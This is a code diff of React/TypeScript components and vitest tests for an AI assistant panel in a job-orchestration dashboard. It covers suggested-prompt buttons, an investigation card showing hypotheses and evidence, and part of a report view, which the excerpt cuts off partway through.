<div className="flex h-full flex-col bg-background-bright animate-in slide-in-from-right-2 duration-150">
|
||||
<div
|
||||
className="flex h-full flex-col bg-background-bright animate-in slide-in-from-right-2 duration-150"
|
||||
// A React handler, not a global hotkey, so Esc stays scoped to the panel.
|
||||
onKeyDown={(event) => {
|
||||
if (event.key !== "Escape" || event.defaultPrevented) return;
|
||||
event.preventDefault();
|
||||
onClose();
|
||||
}}
|
||||
>
|
||||
<DashboardAgentHeader
|
||||
view={view}
|
||||
title={headerTitle}
|
||||
chats={chats}
|
||||
currentChatId={active?.chatId ?? ""}
|
||||
thinkingChatId={thinkingChatId}
|
||||
onNewChat={newChat}
|
||||
onToggleHistory={toggleHistory}
|
||||
showNewChat={active !== null}
|
||||
onOpenHistory={loadHistory}
|
||||
onSelectChat={switchChat}
|
||||
onDeleteChat={deleteChat}
|
||||
onToggleFullscreen={onToggleFullscreen ?? (() => {})}
|
||||
isFullscreen={isFullscreen}
|
||||
onClose={onClose}
|
||||
/>
|
||||
|
||||
{view === "history" ? (
|
||||
<DashboardAgentHistory
|
||||
chats={chats}
|
||||
currentChatId={active?.chatId ?? ""}
|
||||
onSelect={switchChat}
|
||||
onNewChat={newChat}
|
||||
onDelete={deleteChat}
|
||||
/>
|
||||
) : loading ? (
|
||||
<div className="flex flex-1 items-center justify-center">
|
||||
<Spinner className="size-5" />
|
||||
</div>
|
||||
) : active ? (
|
||||
<DashboardAgentChat
|
||||
key={active.chatId}
|
||||
chatId={active.chatId}
|
||||
initialMessages={active.messages}
|
||||
session={active.session}
|
||||
pendingFirstMessage={active.pendingFirstMessage}
|
||||
streaming={active.streaming}
|
||||
clientData={clientData}
|
||||
apiOrigin={apiOrigin}
|
||||
actionPath={actionPath}
|
||||
projectSlug={project.slug}
|
||||
environmentSlug={environment.slug}
|
||||
currentPage={currentPage}
|
||||
onTurnSettled={loadHistory}
|
||||
/>
|
||||
) : (
|
||||
<DashboardAgentDraft
|
||||
onSubmit={createChat}
|
||||
projectSlug={project.slug}
|
||||
environmentSlug={environment.slug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
)}
|
||||
{/* Always mounted, so the chat keeps its transport, session and transcript. */}
|
||||
<AgentPanelColumn fullscreen={isFullscreen}>
|
||||
{loading ? (
|
||||
<div className="flex flex-1 items-center justify-center">
|
||||
<AgentSpinner size={20} />
|
||||
</div>
|
||||
) : active ? (
|
||||
<DashboardAgentChat
|
||||
key={active.chatId}
|
||||
chatId={active.chatId}
|
||||
initialMessages={active.messages}
|
||||
session={active.session}
|
||||
pendingFirstMessage={active.pendingFirstMessage}
|
||||
streaming={active.streaming}
|
||||
prefill={prefill && prefill.chatId === active.chatId ? prefill : undefined}
|
||||
clientData={clientData}
|
||||
apiOrigin={apiOrigin}
|
||||
actionPath={actionPath}
|
||||
projectSlug={project.slug}
|
||||
environmentSlug={environment.slug}
|
||||
currentPage={currentPage}
|
||||
promotedPrompt={promotedPrompt}
|
||||
pagePaths={pagePaths}
|
||||
// The generated chat name is written before the turn-complete chunk lands.
|
||||
onTurnSettled={loadHistory}
|
||||
onActivityChange={handleActivityChange}
|
||||
/>
|
||||
) : (
|
||||
<DashboardAgentDraft
|
||||
onSubmit={createChat}
|
||||
projectSlug={project.slug}
|
||||
environmentSlug={environment.slug}
|
||||
currentPage={currentPage}
|
||||
pageContext={pageContext}
|
||||
promotedPrompt={promotedPrompt}
|
||||
/>
|
||||
)}
|
||||
</AgentPanelColumn>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,39 +1,78 @@
|
||||
import { SparklesIcon } from "@heroicons/react/20/solid";
|
||||
import { Paragraph } from "~/components/primitives/Paragraph";
|
||||
import {
|
||||
BookOpenIcon,
|
||||
ChartBarIcon,
|
||||
MagnifyingGlassIcon,
|
||||
QuestionMarkCircleIcon,
|
||||
SparklesIcon,
|
||||
} from "@heroicons/react/20/solid";
|
||||
import type { AgentPageContext, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { useMemo, useState } from "react";
|
||||
import { Button, type ButtonVariant } from "~/components/primitives/Buttons";
|
||||
import type { RenderIcon } from "~/components/primitives/Icon";
|
||||
import {
|
||||
readDismissedPromptIds,
|
||||
resolveSuggestedPromptsBySlot,
|
||||
type ResolvedPromptSlot,
|
||||
} from "./suggested-prompts";
|
||||
|
||||
// Static for now; later these can be page-aware (per currentPage) or server-driven.
|
||||
const SUGGESTED_PROMPTS = [
|
||||
"What can you help me with?",
|
||||
"How do retries work in Trigger.dev?",
|
||||
"Where do I set environment variables?",
|
||||
"Explain what this page shows.",
|
||||
];
|
||||
// The only slot-to-button-style mapping: a new slot is styled here and nowhere else.
|
||||
export const PROMPT_SLOT_BUTTON: Record<
|
||||
ResolvedPromptSlot,
|
||||
{ variant: ButtonVariant; icon: RenderIcon }
|
||||
> = {
|
||||
promoted: { variant: "primary/small", icon: SparklesIcon },
|
||||
investigate: { variant: "primary/small", icon: MagnifyingGlassIcon },
|
||||
status: { variant: "secondary/small", icon: ChartBarIcon },
|
||||
explain: { variant: "tertiary/small", icon: QuestionMarkCircleIcon },
|
||||
docs: { variant: "docs/small", icon: BookOpenIcon },
|
||||
};
|
||||
|
||||
// This surface never writes dismissals; only the row surfaces do.
|
||||
export function DashboardAgentSuggestedPrompts({
|
||||
onSelect,
|
||||
pageContext,
|
||||
promoted,
|
||||
dismissedIds,
|
||||
}: {
|
||||
/** Receives the prompt text to send, not the button label. */
|
||||
onSelect: (prompt: string) => void;
|
||||
/** Omitted means defaults only. */
|
||||
pageContext?: AgentPageContext;
|
||||
promoted?: SuggestedPrompt;
|
||||
/** Omitted means the component reads its own localStorage. */
|
||||
dismissedIds?: string[];
|
||||
}) {
|
||||
// Read once on mount: re-reading per render churns the resolved set.
|
||||
const [storedDismissedIds] = useState<string[]>(() =>
|
||||
dismissedIds !== undefined ? [] : readDismissedPromptIds()
|
||||
);
|
||||
|
||||
const effectiveDismissedIds = dismissedIds ?? storedDismissedIds;
|
||||
|
||||
const prompts = useMemo(
|
||||
() =>
|
||||
resolveSuggestedPromptsBySlot(
|
||||
pageContext ?? { page: { kind: "other", path: "" }, signals: [] },
|
||||
{ promoted, dismissedIds: effectiveDismissedIds }
|
||||
),
|
||||
[pageContext, promoted, effectiveDismissedIds]
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="flex h-full flex-col items-center justify-center gap-4 px-4">
|
||||
<div className="flex flex-col items-center gap-1.5 text-center">
|
||||
<SparklesIcon className="size-6 text-indigo-500" />
|
||||
<Paragraph variant="small" className="text-text-dimmed">
|
||||
Ask about your runs, errors, or how Trigger.dev works.
|
||||
</Paragraph>
|
||||
</div>
|
||||
<div className="flex w-full flex-col gap-1.5">
|
||||
{SUGGESTED_PROMPTS.map((prompt) => (
|
||||
<button
|
||||
key={prompt}
|
||||
type="button"
|
||||
onClick={() => onSelect(prompt)}
|
||||
className="rounded-md border border-grid-bright bg-background-bright/40 px-3 py-2 text-left text-sm text-text-dimmed transition hover:border-border-bright hover:text-text-bright"
|
||||
<div className="flex flex-wrap items-center justify-center gap-1.5">
|
||||
{prompts.map(({ slot, prompt }) => {
|
||||
const style = PROMPT_SLOT_BUTTON[slot];
|
||||
return (
|
||||
<Button
|
||||
key={prompt.id}
|
||||
variant={style.variant}
|
||||
LeadingIcon={style.icon}
|
||||
onClick={() => onSelect(prompt.prompt)}
|
||||
>
|
||||
{prompt}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{prompt.label}
|
||||
</Button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
import { MagnifyingGlassIcon } from "@heroicons/react/20/solid";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { useDashboardAgent } from "./dashboardAgentLauncher";
|
||||
|
||||
// Renders nothing when the agent isn't available, so callers need no gate of their own.
|
||||
export function InvestigateButton({
|
||||
prompt,
|
||||
label = "Investigate",
|
||||
size = "small",
|
||||
variant = "primary",
|
||||
fullWidth,
|
||||
className,
|
||||
tooltip,
|
||||
}: {
|
||||
/** Build it with the helpers in `investigate-prompts.ts`. */
|
||||
prompt: string;
|
||||
label?: string;
|
||||
size?: "small" | "medium";
|
||||
variant?: "primary" | "secondary" | "minimal";
|
||||
fullWidth?: boolean;
|
||||
className?: string;
|
||||
tooltip?: string;
|
||||
}) {
|
||||
const agent = useDashboardAgent();
|
||||
if (!agent) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
type="button"
|
||||
variant={`${variant}/${size}`}
|
||||
LeadingIcon={MagnifyingGlassIcon}
|
||||
leadingIconClassName={variant === "primary" ? undefined : "text-text-dimmed"}
|
||||
fullWidth={fullWidth}
|
||||
textAlignLeft={fullWidth}
|
||||
className={className}
|
||||
tooltip={tooltip}
|
||||
onClick={() => agent.openWith(prompt)}
|
||||
>
|
||||
{label}
|
||||
</Button>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
import type { InvestigationBlock } from "@internal/dashboard-agent-contracts";
|
||||
import { createElement } from "react";
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { OperatingSystemContextProvider } from "~/components/primitives/OperatingSystemProvider";
|
||||
import { ShortcutsProvider } from "~/components/primitives/ShortcutsProvider";
|
||||
import { InvestigationCard } from "./InvestigationCard";
|
||||
|
||||
/**
|
||||
* What the card actually puts on the page, rather than what its source says. Static markup,
|
||||
* so it proves the rendered output and nothing about interaction: a click is not exercised.
|
||||
*/
|
||||
|
||||
const HYPOTHESIS = {
|
||||
id: "h1",
|
||||
statement: "The receipt builder is handed a null order id.",
|
||||
verdict: "validated" as const,
|
||||
evidence: [],
|
||||
};
|
||||
|
||||
function block(overrides: {
|
||||
hypotheses?: InvestigationBlock["investigation"]["hypotheses"];
|
||||
actions?: NonNullable<InvestigationBlock["capabilities"]>["actions"];
|
||||
}): InvestigationBlock {
|
||||
return {
|
||||
type: "investigation",
|
||||
id: "inv_1",
|
||||
revision: 0,
|
||||
version: 1,
|
||||
investigation: {
|
||||
outcome: "concluded",
|
||||
severity: "crit",
|
||||
confidence: "high",
|
||||
title: "send-order-receipt fails on every retry",
|
||||
headline: "Every attempt dies on a null order id.",
|
||||
remediation: "Guard the receipt builder against a missing order.",
|
||||
hypotheses: overrides.hypotheses ?? [],
|
||||
evidence: [],
|
||||
},
|
||||
...(overrides.actions
|
||||
? { capabilities: { version: 1, actions: overrides.actions } }
|
||||
: undefined),
|
||||
} as InvestigationBlock;
|
||||
}
|
||||
|
||||
// The Button primitive reads both of these for its shortcut hints.
|
||||
function markup(props: Parameters<typeof InvestigationCard>[0]) {
|
||||
return renderToStaticMarkup(
|
||||
createElement(
|
||||
OperatingSystemContextProvider,
|
||||
{ platform: "mac" },
|
||||
createElement(ShortcutsProvider, null, createElement(InvestigationCard, props))
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
describe("the card's sections appear only when they have something in them", () => {
|
||||
it("leaves out an empty Hypotheses heading, the way Evidence already does", () => {
|
||||
const html = markup({ block: block({}), defaultExpanded: true });
|
||||
expect(html).not.toContain("Hypotheses");
|
||||
expect(html).not.toContain("Evidence");
|
||||
});
|
||||
|
||||
it("shows the heading once there is a hypothesis under it", () => {
|
||||
const html = markup({ block: block({ hypotheses: [HYPOTHESIS] }), defaultExpanded: true });
|
||||
expect(html).toContain("Hypotheses");
|
||||
expect(html).toContain("The receipt builder is handed a null order id.");
|
||||
});
|
||||
});
|
||||
|
||||
describe("action buttons need a host to hand the intent to", () => {
|
||||
const actions = [
|
||||
{
|
||||
kind: "ask_follow_up" as const,
|
||||
label: "Keep digging",
|
||||
intent: { kind: "ask" as const, prompt: "Keep digging into the receipt failures." },
|
||||
},
|
||||
];
|
||||
|
||||
it("renders no button when the host passes no onIntent, rather than a dead one", () => {
|
||||
const html = markup({ block: block({ actions }), defaultExpanded: true });
|
||||
expect(html).not.toContain("Keep digging");
|
||||
});
|
||||
|
||||
it("renders the same action once a host can act on it", () => {
|
||||
const html = markup({ block: block({ actions }), defaultExpanded: true, onIntent: () => {} });
|
||||
expect(html).toContain("Keep digging");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,68 @@
|
||||
import { investigationCapabilitiesSchema } from "@internal/dashboard-agent-contracts";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const source = readFileSync(new URL("./InvestigationCard.tsx", import.meta.url), "utf8");
|
||||
|
||||
describe("InvestigationCard purity", () => {
|
||||
it("imports nothing from Remix", () => {
|
||||
expect(source).not.toMatch(/from\s+"@remix-run\//);
|
||||
});
|
||||
|
||||
it("imports no app hooks and no server module", () => {
|
||||
expect(source).not.toMatch(/from\s+"~\/hooks\//);
|
||||
expect(source).not.toMatch(/\.server"/);
|
||||
});
|
||||
|
||||
it("calls no hook other than useState", () => {
|
||||
const hooks = [...source.matchAll(/\buse([A-Z]\w*)\(/g)].map((match) => `use${match[1]}`);
|
||||
expect([...new Set(hooks)]).toEqual(["useState"]);
|
||||
});
|
||||
|
||||
it("resolves evidence URIs through the host, never a route of its own", () => {
|
||||
expect(source).toMatch(/resolveUri/);
|
||||
expect(source).not.toMatch(/\/orgs\//);
|
||||
});
|
||||
|
||||
it("hands its actions to the host as intents, and never composes its own", () => {
|
||||
expect(source).toMatch(/capabilities\?\.actions/);
|
||||
expect(source).toMatch(/onIntent\(action\.intent\)/);
|
||||
expect(source).not.toMatch(/kind:\s*"(ask|navigate)"/);
|
||||
expect(source).toMatch(/ChatActionsRow/);
|
||||
});
|
||||
|
||||
it("renders no spinner — the transcript owns the one live progress element", () => {
|
||||
// A spinner in the card would restart on every revision.
|
||||
expect(source).not.toMatch(/AgentSpinner|ChatProgress|ChatPendingTool/);
|
||||
});
|
||||
|
||||
it("renders nothing action-shaped without a host to hand intents to", () => {
|
||||
expect(source).toMatch(/if \(!onIntent \|\| actions\.length === 0\) return null;/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("InvestigationCard action rows", () => {
|
||||
const twoOfAKind = {
|
||||
version: 1,
|
||||
actions: [
|
||||
{ kind: "ask_follow_up", label: "Why the retries?", intent: { kind: "ask", prompt: "Why?" } },
|
||||
{
|
||||
kind: "ask_follow_up",
|
||||
label: "Why the timeouts?",
|
||||
intent: { kind: "ask", prompt: "How?" },
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
it("can be handed two actions of the same kind", () => {
|
||||
const parsed = investigationCapabilitiesSchema.safeParse(twoOfAKind);
|
||||
expect(parsed.success).toBe(true);
|
||||
expect(parsed.success && parsed.data.actions).toHaveLength(2);
|
||||
});
|
||||
|
||||
// Structural: there is no DOM in this suite, so the key is read off the source.
|
||||
it("keys the rows by position, which two of a kind cannot collide on", () => {
|
||||
const row = source.match(/actions\.map\(\(action, i\) => \([\s\S]*?key=\{(.+?)\}/);
|
||||
expect(row?.[1]).toBe("i");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,254 @@
|
||||
// `id` is the investigationId and `revision` climbs: re-emitting replaces, never stacks.
|
||||
import { ChevronDownIcon, ChevronRightIcon } from "@heroicons/react/20/solid";
|
||||
import type {
|
||||
AgentIntent,
|
||||
Evidence,
|
||||
HypothesisVerdict,
|
||||
InvestigationAction,
|
||||
InvestigationBlock,
|
||||
InvestigationHypothesis,
|
||||
InvestigationSeverity,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
import { useState } from "react";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { Callout } from "~/components/primitives/Callout";
|
||||
import {
|
||||
CategoryBadge,
|
||||
ConfidenceBadge,
|
||||
EVIDENCE_ROW_CLASS,
|
||||
SeverityBadge,
|
||||
VerdictBadge,
|
||||
} from "./agent-badges";
|
||||
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
|
||||
import { ChatActionsRow } from "./chat-layout";
|
||||
import type { ResolvedUri } from "./ReportView";
|
||||
|
||||
const SEVERITY_LABELS: Record<InvestigationSeverity, string> = {
|
||||
info: "Info",
|
||||
warn: "Degraded",
|
||||
crit: "Critical",
|
||||
};
|
||||
|
||||
const VERDICT_LABELS: Record<HypothesisVerdict, string> = {
|
||||
testing: "Testing",
|
||||
validated: "Validated",
|
||||
invalidated: "Ruled out",
|
||||
};
|
||||
|
||||
type ResolveUri = (uri: string) => ResolvedUri | null;
|
||||
|
||||
function Section({ title, children }: { title: string; children: React.ReactNode }) {
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">{title}</h4>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function EvidenceItem({
|
||||
evidence,
|
||||
stacked,
|
||||
resolveUri,
|
||||
}: {
|
||||
evidence: Evidence;
|
||||
stacked?: boolean;
|
||||
resolveUri?: ResolveUri;
|
||||
}) {
|
||||
const resolved = resolveUri?.(evidence.uri) ?? null;
|
||||
return (
|
||||
<li className={stacked ? "space-y-1.5" : EVIDENCE_ROW_CLASS}>
|
||||
{/* The Badge primitive is a grid, so `w-fit` is needed to stop it stretching. */}
|
||||
<CategoryBadge className="w-fit justify-self-start">{evidence.kind}</CategoryBadge>
|
||||
<div className="min-w-0 space-y-1.5">
|
||||
<p className="text-xs text-text-bright">{evidence.label}</p>
|
||||
{resolved ? (
|
||||
<a
|
||||
href={resolved.url}
|
||||
className="block break-all font-mono text-[10px] text-text-link transition hover:underline"
|
||||
>
|
||||
{resolved.label}
|
||||
</a>
|
||||
) : (
|
||||
<div className="break-all font-mono text-[10px] text-text-dimmed">{evidence.uri}</div>
|
||||
)}
|
||||
{evidence.excerpt ? (
|
||||
<pre className="overflow-x-auto rounded-sm border border-grid-bright bg-background-bright px-2 py-1.5 font-mono text-[11px] leading-relaxed text-text-bright scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
|
||||
{evidence.excerpt}
|
||||
</pre>
|
||||
) : null}
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
function HypothesisRow({
|
||||
hypothesis,
|
||||
resolveUri,
|
||||
}: {
|
||||
hypothesis: InvestigationHypothesis;
|
||||
resolveUri?: ResolveUri;
|
||||
}) {
|
||||
return (
|
||||
<li className="space-y-3 border-l-2 border-grid-bright pl-4">
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<VerdictBadge verdict={hypothesis.verdict}>
|
||||
{VERDICT_LABELS[hypothesis.verdict]}
|
||||
</VerdictBadge>
|
||||
</div>
|
||||
<p className="text-sm text-text-bright">{hypothesis.statement}</p>
|
||||
{hypothesis.finding ? <p className="text-xs text-text-dimmed">{hypothesis.finding}</p> : null}
|
||||
{hypothesis.evidence.length > 0 ? (
|
||||
<ul className="space-y-5 pt-1">
|
||||
{hypothesis.evidence.map((evidence, i) => (
|
||||
<EvidenceItem key={i} evidence={evidence} stacked resolveUri={resolveUri} />
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
function InvestigationActions({
|
||||
actions,
|
||||
onIntent,
|
||||
}: {
|
||||
actions: InvestigationAction[];
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
}) {
|
||||
if (!onIntent || actions.length === 0) return null;
|
||||
return (
|
||||
<div className="border-t border-grid-bright pt-4">
|
||||
<ChatActionsRow>
|
||||
{actions.map((action, i) => (
|
||||
<Button
|
||||
key={i}
|
||||
variant={i === 0 ? "primary/small" : "secondary/small"}
|
||||
onClick={() => onIntent(action.intent)}
|
||||
>
|
||||
{action.label}
|
||||
</Button>
|
||||
))}
|
||||
</ChatActionsRow>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function InvestigationCard({
|
||||
block,
|
||||
defaultExpanded = false,
|
||||
resolveUri,
|
||||
onIntent,
|
||||
answered = false,
|
||||
}: {
|
||||
block: InvestigationBlock;
|
||||
defaultExpanded?: boolean;
|
||||
resolveUri?: ResolveUri;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
/** The turn kept answering after this card, so "keep digging" has nothing to ask for. */
|
||||
answered?: boolean;
|
||||
}) {
|
||||
const [expanded, setExpanded] = useState(defaultExpanded);
|
||||
const investigation = block.investigation;
|
||||
const concluded = investigation.outcome === "concluded";
|
||||
|
||||
return (
|
||||
<AgentCard>
|
||||
<AgentCardHeader className="space-y-1.5">
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<span className="text-xs font-medium text-text-dimmed">Investigation</span>
|
||||
<SeverityBadge severity={investigation.severity}>
|
||||
{SEVERITY_LABELS[investigation.severity]}
|
||||
</SeverityBadge>
|
||||
<ConfidenceBadge confidence={investigation.confidence} />
|
||||
</div>
|
||||
{investigation.runId ? (
|
||||
<div className="truncate font-mono text-xs text-text-dimmed">{investigation.runId}</div>
|
||||
) : null}
|
||||
</AgentCardHeader>
|
||||
|
||||
<AgentCardBody density="roomy">
|
||||
<p className="text-sm font-medium text-text-bright">{investigation.title}</p>
|
||||
|
||||
<Section title={concluded ? "What happened" : "What we know"}>
|
||||
<p className="text-sm text-text-dimmed">{investigation.headline}</p>
|
||||
</Section>
|
||||
|
||||
{/* The schema makes `remediation` and `checkNext` mutually exclusive. */}
|
||||
{concluded && investigation.remediation ? (
|
||||
<Section title="How to fix">
|
||||
<p className="text-sm text-text-dimmed">{investigation.remediation}</p>
|
||||
</Section>
|
||||
) : null}
|
||||
|
||||
{investigation.checkNext && investigation.checkNext.length > 0 ? (
|
||||
<Section title="What to check next">
|
||||
<ol className="list-decimal space-y-2 pl-5">
|
||||
{investigation.checkNext.map((item, i) => (
|
||||
<li key={i} className="text-sm text-text-dimmed">
|
||||
{item}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
</Section>
|
||||
) : null}
|
||||
|
||||
{investigation.caveat ? (
|
||||
<Callout variant="warning">{investigation.caveat.message}</Callout>
|
||||
) : null}
|
||||
|
||||
<div className="space-y-4 border-t border-grid-bright pt-4">
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
onClick={() => setExpanded((v) => !v)}
|
||||
LeadingIcon={expanded ? ChevronDownIcon : ChevronRightIcon}
|
||||
aria-expanded={expanded}
|
||||
>
|
||||
<span className="flex items-center gap-1.5 text-xs text-text-dimmed">
|
||||
{expanded ? "Hide how I worked this out" : "How I worked this out"}
|
||||
<span className="text-text-faint">
|
||||
({investigation.hypotheses.length} hypothes
|
||||
{investigation.hypotheses.length === 1 ? "is" : "es"})
|
||||
</span>
|
||||
</span>
|
||||
</Button>
|
||||
|
||||
{expanded ? (
|
||||
<div className="space-y-5 pt-1">
|
||||
{investigation.hypotheses.length > 0 ? (
|
||||
<Section title="Hypotheses">
|
||||
<ul className="space-y-5">
|
||||
{investigation.hypotheses.map((hypothesis) => (
|
||||
<HypothesisRow
|
||||
key={hypothesis.id}
|
||||
hypothesis={hypothesis}
|
||||
resolveUri={resolveUri}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
</Section>
|
||||
) : null}
|
||||
|
||||
{investigation.evidence.length > 0 ? (
|
||||
<Section title="Evidence">
|
||||
<ul className="space-y-3">
|
||||
{investigation.evidence.map((evidence, i) => (
|
||||
<EvidenceItem key={i} evidence={evidence} resolveUri={resolveUri} />
|
||||
))}
|
||||
</ul>
|
||||
</Section>
|
||||
) : null}
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
|
||||
<InvestigationActions
|
||||
actions={(block.capabilities?.actions ?? []).filter(
|
||||
(action) => !answered || action.kind !== "ask_follow_up"
|
||||
)}
|
||||
onIntent={onIntent}
|
||||
/>
|
||||
</AgentCardBody>
|
||||
</AgentCard>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const source = readFileSync(new URL("./ReportView.tsx", import.meta.url), "utf8");
|
||||
|
||||
describe("ReportView purity", () => {
|
||||
it("imports nothing from Remix", () => {
|
||||
expect(source).not.toMatch(/from\s+"@remix-run\//);
|
||||
});
|
||||
|
||||
it("imports no hooks and no server module", () => {
|
||||
expect(source).not.toMatch(/from\s+"~\/hooks\//);
|
||||
expect(source).not.toMatch(/\.server"/);
|
||||
});
|
||||
|
||||
it("calls no React hook of its own", () => {
|
||||
expect(source).not.toMatch(/\buse[A-Z]\w*\(/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,426 @@
|
||||
/**
|
||||
* The report card: the panel's rendering of a `report` view block.
|
||||
*
|
||||
* Structure, labels and wording come from `report-layout.ts` (`buildReportLayout`),
|
||||
* the same spec the markdown and ANSI renderers consume, so the card, the CLI and
|
||||
* the agent's grounding show one report. This file only decides what each layout
|
||||
* piece looks like as a component; where the text surfaces use a glyph, the card
|
||||
* uses colour and an icon.
|
||||
*
|
||||
* Pure component: props in, no Remix hooks, no loader data, no router context, so
|
||||
* it renders identically in any host. That means the host resolves `trigger://`
|
||||
* URIs via `resolveUri`, and in-app footer actions emit an `AgentIntent` instead
|
||||
* of navigating. Only entries whose target is an external URL are real links.
|
||||
*/
|
||||
import {
|
||||
isTriggerUri,
|
||||
type AgentIntent,
|
||||
type ReportViewModelPayload,
|
||||
type TriggerUri,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
import { type ReactNode } from "react";
|
||||
import { healthMessages } from "~/presenters/v3/reports/health/health-messages";
|
||||
import {
|
||||
buildReportLayout,
|
||||
fmtValue,
|
||||
REPORT_LABELS,
|
||||
reportFooterStyle,
|
||||
type LayoutFinding,
|
||||
type LayoutMetricRow,
|
||||
} from "~/presenters/v3/reports/report-layout";
|
||||
import { type ReportMessages } from "~/presenters/v3/reports/report-messages";
|
||||
import { AgentBadge } from "./agent-badges";
|
||||
import { seriesEndMs as toSeriesEndMs } from "./report-spark";
|
||||
import {
|
||||
ReportBody,
|
||||
ReportCard,
|
||||
ReportFindingLine,
|
||||
ReportFooterAction,
|
||||
ReportFooterActionLink,
|
||||
ReportFooterLine,
|
||||
ReportFooterLink,
|
||||
ReportFooterNote,
|
||||
ReportHeaderLine,
|
||||
ReportHeadline,
|
||||
ReportMetricList,
|
||||
ReportMetricRow,
|
||||
ReportNoteBlock,
|
||||
ReportProse,
|
||||
ReportProvenance,
|
||||
ReportSeverityIcon,
|
||||
type ReportFooterItem,
|
||||
} from "./report-sparkline";
|
||||
|
||||
export type ResolvedUri = { label: string; url: string };
|
||||
|
||||
// --- messages ---------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Fallback for a report with no registered catalog (an old transcript, a report
|
||||
* that hasn't shipped its messages): show the raw codes rather than crash or
|
||||
* invent prose.
|
||||
*/
|
||||
const PASSTHROUGH_MESSAGES: ReportMessages = {
|
||||
metricLabel: (id) => id,
|
||||
findingReason: (_type, reason) => reason,
|
||||
readMessage: (code) => code,
|
||||
exclusionMessage: (code) => code,
|
||||
observationMessage: (code) => code,
|
||||
annotationMessage: (code) => code,
|
||||
statementMessage: (findingType, severity) => `${findingType} ${severity}`,
|
||||
actionMessage: (code) => code,
|
||||
};
|
||||
|
||||
const CATALOGS: Record<string, ReportMessages> = { health: healthMessages };
|
||||
|
||||
function messagesFor(title: string): ReportMessages {
|
||||
return CATALOGS[title] ?? PASSTHROUGH_MESSAGES;
|
||||
}
|
||||
|
||||
// --- links ------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* What a `vm.links` entry points at: an external doc URL or a `trigger://` URI.
|
||||
* They differ because only the host can turn a URI into a route.
|
||||
*/
|
||||
type LinkTarget =
|
||||
| { kind: "none" }
|
||||
| { kind: "external"; url: string }
|
||||
| { kind: "resource"; uri: TriggerUri; resolved: ResolvedUri | null };
|
||||
|
||||
function classifyLink(
|
||||
url: string | undefined,
|
||||
resolveUri: ((uri: string) => ResolvedUri | null) | undefined
|
||||
): LinkTarget {
|
||||
if (!url) return { kind: "none" };
|
||||
if (isTriggerUri(url)) return { kind: "resource", uri: url, resolved: resolveUri?.(url) ?? null };
|
||||
if (/^https?:\/\//i.test(url)) return { kind: "external", url };
|
||||
return { kind: "none" };
|
||||
}
|
||||
|
||||
/**
|
||||
* One footer entry, rendered the way its code says (`reportFooterStyle`). An
|
||||
* in-app action emits a `navigate` intent, or an `ask` when the report named no
|
||||
* target, so the user can still get the "how" from the agent.
|
||||
*/
|
||||
function footerEntryNode({
|
||||
code,
|
||||
label,
|
||||
target,
|
||||
onIntent,
|
||||
pagePath,
|
||||
}: {
|
||||
code: string;
|
||||
label: string;
|
||||
target: LinkTarget;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
/** A host-resolved dashboard path for this action (settings pages). */
|
||||
pagePath?: string;
|
||||
}): ReactNode {
|
||||
const style = reportFooterStyle(code);
|
||||
|
||||
if (style === "note") return <ReportFooterNote>{label}</ReportFooterNote>;
|
||||
|
||||
// A settings-page action the host resolved wins over everything: the user can
|
||||
// self-serve it there (e.g. raising the env concurrency limit).
|
||||
if (style === "action" && pagePath) {
|
||||
return <ReportFooterActionLink href={pagePath}>{label}</ReportFooterActionLink>;
|
||||
}
|
||||
|
||||
// A docs entry is always the docs button, whatever shape its link arrived in:
|
||||
// external URL, resolved resource, or nothing (then its canonical docs page).
|
||||
if (style === "docs") {
|
||||
const href =
|
||||
target.kind === "external"
|
||||
? target.url
|
||||
: target.kind === "resource" && target.resolved
|
||||
? target.resolved.url
|
||||
: DOCS_URL_FALLBACK[code];
|
||||
if (href) {
|
||||
return (
|
||||
<ReportFooterActionLink href={href} docs>
|
||||
{label}
|
||||
</ReportFooterActionLink>
|
||||
);
|
||||
}
|
